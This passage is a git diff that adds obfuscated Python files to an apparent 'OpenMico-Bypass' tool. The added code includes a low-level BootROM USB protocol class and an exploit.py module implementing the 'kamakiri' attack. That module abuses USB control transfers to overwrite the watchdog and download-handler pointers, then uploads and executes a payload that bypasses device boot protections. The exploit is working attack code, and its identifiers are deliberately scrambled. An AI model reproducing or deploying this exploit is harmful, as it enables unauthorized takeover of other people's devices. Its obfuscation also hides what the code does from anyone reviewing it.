=b"\xA0\x0A\x50\x05"#line:165 + O0O0O00O0O00OO0OO =0 #line:166 + while O0O0O00O0O00OO0OO 0xff :#line:205 + raise RuntimeError ("status is {}".format (OOO0O0OO0000O000O .hex ()))#line:206 + for _O00000O0O0OO000OO in range (size ):#line:208 + O000O00OOOOOO0OO0 =from_bytes (OOOOO0OOO0OOOO000 .dev .read (4 ),4 )#line:209 + O0O0O000O0000O00O .append (O000O00OOOOOO0OO0 )#line:210 + OOO0O0OO0000O000O =OOOOO0OOO0OOOO000 .dev .read (2 )#line:212 + if from_bytes (OOO0O0OO0000O000O ,2 )>0xff :#line:213 + raise RuntimeError ("status is {}".format (OOO0O0OO0000O000O .hex ()))#line:214 + if len (O0O0O000O0000O00O )==1 :#line:217 + return O0O0O000O0000O00O [0 ]#line:218 + else :#line:219 + return O0O0O000O0000O00O #line:220 + def write (OOOOOO0000O000O0O ,O0O000OO0O00OO00O ,size =1 ):#line:222 + if type (O0O000OO0O00OO00O )!=bytes :#line:223 + O0O000OO0O00OO00O =to_bytes (O0O000OO0O00OO00O ,size )#line:224 + O0O0000O000O00O00 =0 #line:225 + while O0O0000O000O00O00 OOOOOO0000O000O0O .ep_out .wMaxPacketSize else len (O0O000OO0O00OO00O )-O0O0000O000O00O00 ],OOOOOO0000O000O0O .timeout *1000 )#line:227 + O0O0000O000O00O00 +=OOOOOO0000O000O0O .ep_out .wMaxPacketSize #line:228 + def write32 (O0OOOOOOO0O00O0O0 ,O00O0OOO00O0OO00O ,O0OO0O00OOO0O000O ,check_status =True ):#line:230 + if not isinstance (O0OO0O00OOO0O000O ,list ):#line:232 + O0OO0O00OOO0O000O =[O0OO0O00OOO0O000O ]#line:233 + O0OOOOOOO0O00O0O0 .echo (0xD4 )#line:235 + O0OOOOOOO0O00O0O0 .echo (O00O0OOO00O0OO00O ,4 )#line:236 + O0OOOOOOO0O00O0O0 .echo (len (O0OO0O00OOO0O000O ),4 )#line:237 + O0OOOOOOO0O00O0O0 .check (O0OOOOOOO0O00O0O0 .dev .read (2 ),to_bytes (1 ,2 ))#line:239 + for O0O0OO0OOOO0OO0O0 in O0OO0O00OOO0O000O :#line:241 + O0OOOOOOO0O00O0O0 .echo (O0O0OO0OOOO0OO0O0 ,4 )#line:242 + if check_status :#line:244 + O0OOOOOOO0O00O0O0 .check (O0OOOOOOO0O00O0O0 .dev .read (2 ),to_bytes (1 ,2 ))#line:245 + def get_target_config (OO0O000OO00O0OO0O ):#line:247 + OO0O000OO00O0OO0O .echo (0xD8 )#line:248 + O0OO0OO000OOOO000 =OO0O000OO00O0OO0O .dev .read (4 )#line:250 + OOO000000O0O0OOO0 =OO0O000OO00O0OO0O .dev .read (2 )#line:251 + if from_bytes (OOO000000O0O0OOO0 ,2 )!=0 :#line:253 + raise RuntimeError ("status is {}".format (OOO000000O0O0OOO0 .hex ()))#line:254 + O0OO0OO000OOOO000 =from_bytes (O0OO0OO000OOOO000 ,4 )#line:256 + OOO0O0O0OO00O0O00 =O0OO0OO000OOOO000 &1 #line:258 + OOOO00OOO00O0OO00 =O0OO0OO000OOOO000 &2 #line:259 + O000OO000O000OOO0 =O0OO0OO000OOOO000 &4 #line:260 + return bool (OOO0O0O0OO00O0O00 ),bool (OOOO00OOO00O0OO00 ),bool (O000OO000O000OOO0 )#line:263 + def get_hw_code (OOO0OOO00000OOO0O ):#line:265 + OOO0OOO00000OOO0O .echo (0xFD )#line:266 + OOO0O00OOO0O00O0O =OOO0OOO00000OOO0O .dev .read (2 )#line:268 + OOOO00O000O0O0000 =OOO0OOO00000OOO0O .dev .read (2 )#line:269 + if from_bytes (OOOO00O000O0O0000 ,2 )!=0 :#line:271 + raise RuntimeError ("status is {}".format (OOOO00O000O0O0000 .hex ()))#line:272 + return from_bytes (OOO0O00OOO0O00O0O ,2 )#line:274 + def get_hw_dict (OO0O00000O0O0O0O0 ):#line:276 + OO0O00000O0O0O0O0 .echo (0xFC )#line:277 + OO000O000O0OOO0O0 =OO0O00000O0O0O0O0 .dev .read (2 )#line:279 + OOO0O0000OO0OO0O0 =OO0O00000O0O0O0O0 .dev .read (2 )#line:280 + O0OOOOOO0OOOOOO0O =OO0O00000O0O0O0O0 .dev .read (2 )#line:281 + OO00O00OO00O00000 =OO0O00000O0O0O0O0 .dev .read (2 )#line:282 + if from_bytes (OO00O00OO00O00000 ,2 )!=0 :#line:284 + raise RuntimeError ("status is {}".format (OO00O00OO00O00000 .hex ()))#line:285 + return from_bytes (OO000O000O0OOO0O0 ,2 ),from_bytes (OOO0O0000OO0OO0O0 ,2 ),from_bytes (O0OOOOOO0OOOOOO0O ,2 )#line:287 + def send_da (OO0000O000000O0OO ,O0O00OO0O0OOO00O0 ,OOOOOOOOO0OO000O0 ,OO000OO000000OOOO ,OOOO0OO00OO0O0OOO ):#line:289 + OO0000O000000O0OO .echo (0xD7 )#line:290 + OO0000O000000O0OO .echo (O0O00OO0O0OOO00O0 ,4 )#line:292 + OO0000O000000O0OO .echo (OOOOOOOOO0OO000O0 ,4 )#line:293 + OO0000O000000O0OO .echo (OO000OO000000OOOO ,4 )#line:294 + O0OO0000OO00O0000 =OO0000O000000O0OO .dev .read (2 )#line:296 + if from_bytes (O0OO0000OO00O0000 ,2 )!=0 :#line:298 + raise RuntimeError ("status is {}".format (O0OO0000OO00O0000 .hex ()))#line:299 + OO0000O000000O0OO .dev .write (OOOO0OO00OO0O0OOO )#line:301 + OOOO0O00O0O0OOO0O =OO0000O000000O0OO .dev .read (2 )#line:303 + O0OO0000OO00O0000 =OO0000O000000O0OO .dev .read (2 )#line:304 + if from_bytes (O0OO0000OO00O0000 ,2 )!=0 :#line:306 + raise RuntimeError ("status is {}".format (O0OO0000OO00O0000 .hex ()))#line:307 + return from_bytes (OOOO0O00O0O0OOO0O ,2 )#line:309 + def jump_da (O000OO0OOO00O00OO ,OO0O0O0OO0O0O00OO ):#line:311 + O000OO0OOO00O00OO .echo (0xD5 )#line:312 + O000OO0OOO00O00OO .echo (OO0O0O0OO0O0O00OO ,4 )#line:314 + OO0O0O00OOOOO0OOO =O000OO0OOO00O00OO .dev .read (2 )#line:316 + if from_bytes (OO0O0O00OOOOO0OOO ,2 )!=0 :#line:318 + raise RuntimeError ("status is {}".format (OO0O0O00OOOOO0OOO .hex ()))#line:319 + def cmd_da (O00O0OOOOO00000O0 ,O0O000O000OOOO00O ,OOOOOO00O0O0O00O0 ,O00O00OOOO0OOOO0O ,data =None ,check_status =True ):#line:321 + O00O0OOOOO00000O0 .echo (0xDA )#line:322 + O00O0OOOOO00000O0 .echo (O0O000O000OOOO00O ,4 )#line:324 + O00O0OOOOO00000O0 .echo (OOOOOO00O0O0O00O0 ,4 )#line:325 + O00O0OOOOO00000O0 .echo (O00O00OOOO0OOOO0O ,4 )#line:326 + OOO000OOO0O0O00OO =O00O0OOOOO00000O0 .dev .read (2 )#line:328 + if from_bytes (OOO000OOO0O0O00OO ,2 )!=0 :#line:330 + raise RuntimeError ("status is {}".format (OOO000OOO0O0O00OO .hex ()))#line:331 + if (O0O000O000OOOO00O &1 )==1 :#line:333 + O00O0OOOOO00000O0 .dev .write (data )#line:334 + else :#line:335 + data =O00O0OOOOO00000O0 .dev .read (O00O00OOOO0OOOO0O )#line:336 + if check_status :#line:338 + OOO000OOO0O0O00OO =O00O0OOOOO00000O0 .dev .read (2 )#line:339 + if from_bytes (OOO000OOO0O0O00OO ,2 )!=0 :#line:341 + raise RuntimeError ("status is {}".format (OOO000OOO0O0O00OO .hex ()))#line:342 + return data #line:344 diff --git a/OpenMico-Bypass/src/exploit.py b/OpenMico-Bypass/src/exploit.py new file mode 100644 index 0000000..d9a01ce --- /dev/null +++ b/OpenMico-Bypass/src/exploit.py @@ -0,0 +1,71 @@ +from src .common import to_bytes ,from_bytes #line:1 +from src .logger import log #line:2 +import usb #line:4 +import array #line:5 +def exploit (O0OOO0O00OO00O0OO ,O0O0OOOOO0OO00O0O ,O0OO0000OO0O00O00 ,OO00O0000O0000OO0 ):#line:8 + def OO00O0O00000O000O (OO000OOOOOO0O00O0 ,O00OOOOOO0OOO0O0O ,check_result =True ):#line:10 + return OO00OO0OOOOO00O0O (0 ,OO000OOOOOO0O00O0 ,O00OOOOOO0OOO0O0O ,None ,check_result )#line:11 + def O0OOO00OOOO0O0O0O (O00000OOO00OOO00O ,O0O0OOO00OO000OOO ,O0OO000OO00O0O000 ,check_result =True ):#line:13 + return OO00OO0OOOOO00O0O (1 ,O00000OOO00OOO00O ,O0O0OOO00OO000OOO ,O0OO000OO00O0O000 ,check_result )#line:14 + def OO00OO0OOOOO00O0O (O00O0O0O0OO00O0OO ,OO0000OO000000O0O ,OOOOOO0OOOO0O00OO ,data =None ,check_result =True ):#line:16 + try :#line:17 + O0OOO0O00OO00O0OO .cmd_da (0 ,0 ,1 )#line:18 + O0OOO0O00OO00O0OO .read32 (OOO000O0OO000000O )#line:19 + except :#line:20 + pass #line:21 + for OO0000O0OO00O0OO0 in range (3 ):#line:23 + O0O000O000OOO0OO0 .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,OO0OO0O0O0O0OOOO0 +array .array ('B',to_bytes (O0O0OOOOO0OO00O0O .ptr_da +8 -3 +OO0000O0OO00O0OO0 ,4 ,'<')))#line:24 + O0O000O000OOO0OO0 .ctrl_transfer (0x80 ,0x6 ,0x0200 ,0 ,9 )#line:25 + if OO0000OO000000O0O <0x40 :#line:27 + for OO0000O0OO00O0OO0 in range (4 ):#line:28 + O0O000O000OOO0OO0 .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,OO0OO0O0O0O0OOOO0 +array .array ('B',to_bytes (O0O0OOOOO0OO00O0O .ptr_da -6 +(4 -OO0000O0OO00O0OO0 ),4 ,'<')))#line:29 + O0O000O000OOO0OO0 .ctrl_transfer (0x80 ,0x6 ,0x0200 ,0 ,9 )#line:30 + return O0OOO0O00OO00O0OO .cmd_da (O00O0O0O0OO00O0OO ,OO0000OO000000O0O ,OOOOOO0OOOO0O00OO ,data ,check_result )#line:31 + else :#line:32 + for OO0000O0OO00O0OO0 in range (3 ):#line:33 + O0O000O000OOO0OO0 .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,OO0OO0O0O0O0OOOO0 +array .array ('B',to_bytes (O0O0OOOOO0OO00O0O .ptr_da -5 +(3 -OO0000O0OO00O0OO0 ),4 ,'<')))#line:34 + O0O000O000OOO0OO0 .ctrl_transfer (0x80 ,0x6 ,0x0200 ,0 ,9 )#line:35 + return O0OOO0O00OO00O0OO .cmd_da (O00O0O0O0OO00O0OO ,OO0000OO000000O0O -0x40 ,OOOOOO0OOOO0O00OO ,data ,check_result )#line:36 + OOO000O0OO000000O =O0O0OOOOO0OO00O0O .watchdog_address +0x50 #line:39 + if not O0O0OOOOO0OO00O0O .ptr_usbdl or OO00O0000O0000OO0 .kamakiri :#line:41 + log ("Using kamakiri")#line:42 + O0OOO0O00OO00O0OO .write32 (OOO000O0OO000000O ,from_bytes (to_bytes (O0O0OOOOO0OO00O0O .payload_address ,4 ),4 ,'<'))#line:43 + if O0O0OOOOO0OO00O0O .var_0 :#line:44 + O00O0O000O0OOOO00 =O0O0OOOOO0OO00O0O .var_0 +0x4 #line:45 + O0OOO0O00OO00O0OO .read32 (OOO000O0OO000000O -O0O0OOOOO0OO00O0O .var_0 ,O00O0O000O0OOOO00 //4 )#line:46 + else :#line:47 + O0OO000OOOO00OO00 =15 #line:48 + for O0000OOO0O000OOOO in range (O0OO000OOOO00OO00 ):#line:49 + O0OOO0O00OO00O0OO .read32 (OOO000O0OO000000O -(O0OO000OOOO00OO00 -O0000OOO0O000OOOO )*4 ,O0OO000OOOO00OO00 -O0000OOO0O000OOOO +1 )#line:50 + O0OOO0O00OO00O0OO .echo (0xE0 )#line:52 + O0OOO0O00OO00O0OO .echo (len (O0OO0000OO0O00O00 ),4 )#line:54 + OO00OOOOO00O0O000 =O0OOO0O00OO00O0OO .read (2 )#line:56 + if from_bytes (OO00OOOOO00O0O000 ,2 )!=0 :#line:57 + raise RuntimeError ("status is {}".format (OO00OOOOO00O0O000 .hex ()))#line:58 + O0OOO0O00OO00O0OO .write (O0OO0000OO0O00O00 )#line:60 + O0OOO0O00OO00O0OO .read (4 )#line:63 + O0O000O000OOO0OO0 =O0OOO0O00OO00O0OO .udev #line:65 + try :#line:67 + if not O0O0OOOOO0OO00O0O .ptr_usbdl or OO00O0000O0000OO0 .kamakiri :#line:68 + try :#line:69 + O0O000O000OOO0OO0 ._ctx .managed_claim_interface =lambda *O0O0O00000OO0O000 ,**O0O00O0O0O00OO0OO :None #line:71 + except AttributeError as O0000OOOO0O0O0O0O :#line:72 + raise RuntimeError ("libusb is not installed for port {}".format (O0OOO0O00OO00O0OO .dev .port ))from O0000OOOO0O0O0O0O #line:73 + O0O000O000OOO0OO0 .ctrl_transfer (0xA1 ,0 ,0 ,O0O0OOOOO0OO00O0O .var_1 ,0 )#line:74 + else :#line:75 + OO0OO0O0O0O0OOOO0 =O0O000O000OOO0OO0 .ctrl_transfer (0xA1 ,0x21 ,0 ,0 ,7 )+array .array ('B',[0 ])#line:76 + O0O00OO00O00000O0 =from_bytes (OO00O0O00000O000O (O0O0OOOOO0OO00O0O .ptr_usbdl ,4 ),4 ,'<')+8 ;#line:77 + O0OOO00OOOO0O0O0O (O0O0OOOOO0OO00O0O .payload_address ,len (O0OO0000OO0O00O00 ),O0OO0000OO0O00O00 )#line:78 + O0OOO00OOOO0O0O0O (O0O00OO00O00000O0 ,4 ,to_bytes (O0O0OOOOO0OO00O0O .payload_address ,4 ,'<'),False )#line:79 + except usb .core .USBError as O0000OOOO0O0O0O0O :#line:81 + print (O0000OOOO0O0O0O0O )#line:82 + try :#line:86 + O0OOO0O00OO00O0OO .dev .timeout =1 #line:87 + except Exception :#line:88 + pass #line:89 + try :#line:91 + O0OOOOOO0O00O00O0 =O0OOO0O00OO00O0OO .read (4 )#line:92 + except usb .core .USBError as O0000OOOO0O0O0O0O :#line:93 + print (O0000OOOO0O0O0O0O )#line:94 + return False #line:95 + return O0OOOOOO0O00O00O0 #line:97 diff --git a/OpenMico-Bypass/src/logger.py b/OpenMico-Bypass/src/logger.py new file mode 100644 index 0000000..847d713 --- /dev/null +++ b/OpenMico-Bypass/src/logger.py @@ -0,0 +1,6 @@ +import datetime #line:1 +def log (O0O000O0OO00OOO00 ):#line:4 + O0O0000O00O0O0OOO ="[{}] {}".format (datetime .datetime .now (),O0O000O0OO00OOO00 )#line:5 + print (O0O0000O00O0O0OOO )#line:6 + with open ("bypass_utility.log","a")as O000O0O000O0OO0OO :#line:8 + O000O0O000O0OO0OO .write (O0O0000O00O0O0OOO +"\n")#line:9